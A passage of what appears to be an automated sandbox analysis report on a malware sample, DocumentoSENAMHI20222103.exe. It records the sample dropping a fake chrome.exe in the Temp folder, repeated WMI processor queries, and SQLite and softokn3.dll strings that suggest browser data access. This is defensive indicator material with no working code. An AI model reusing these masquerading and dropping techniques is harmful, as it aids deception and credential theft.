                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeFile created: C:\Users\user\AppData\Local\Temp\chrome.exe
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD14A2 CoCreateInstance,
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: SELECT ALL * FROM %s LIMIT 0;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: UPDATE %s SET %s WHERE id=$ID;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: SELECT ALL id FROM %s;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: SELECT 